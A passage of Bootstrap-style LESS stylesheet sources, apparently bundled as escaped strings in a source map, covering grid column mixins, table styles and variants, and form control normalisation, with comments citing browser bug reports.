.col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\n// Set the height of file controls to match text inputs\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Disabled and read-only inputs\n //\n // HTML5 says that controls under a fieldset > legend:first-child won't be\n // disabled if the fieldset is disabled. Due to implementation difficulty, we\n // don't honor that edge case; we style them as disabled anyway.\n &[disabled],\n &[readonly],\n fieldset[disabled] & {\n background-color: @input-bg-disabled;\n opacity: 1; // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655\n }\n\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n }\n\n // Reset height for `textarea`s\n textarea& {\n height: auto;\n }\n}\n\n\n// Search inputs in iOS\n//\n// This overrides the extra rounded corners on search inputs in iOS so that our\n// `.form-control` class can properly style them. Note that this cannot simply\n// be added to `.form-control` as it's not specific enough. For details, see\n// https://github.com/twbs/bootstrap/issues/11586.\n\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n\n\n// Special styles for iOS temporal inputs\n//\n// In Mobile Safari, setting `display: block` on temporal inputs causes the\n// text within the input to become vertically misaligned. As a workaround, we\n// set a pixel line-height that matches the given height of the input, but only\n// for Safari. See https://bugs.webkit.org/show_bug.cgi?id=139848\n\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"],\n input[type=\"time\"],\n input[type=\"datetime-local\"],\n input[type=\"month\"] {\n line-height: @input-height-base;\n\n &.input-sm,\n .input-group-sm & {\n line-height: @input-height-small;\n }\n\n &.input-lg,\n .input-group-lg & {\n line-height: @input-height-large;\n }\n }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n margin-bottom: @form-group-margin-bottom;\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n\n label {\n min-height: @line-height-computed; // Ensure the input doesn't jump when there is no text\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n }\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px; // Move up sibling radios or checkboxes for tighter spacing\n}\n\n// Radios and checkboxes on same line\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px; // space out consecutive inline controls\n}\n\n// Apply same disabled cursor tweak as for inputs\n// Some special care is needed because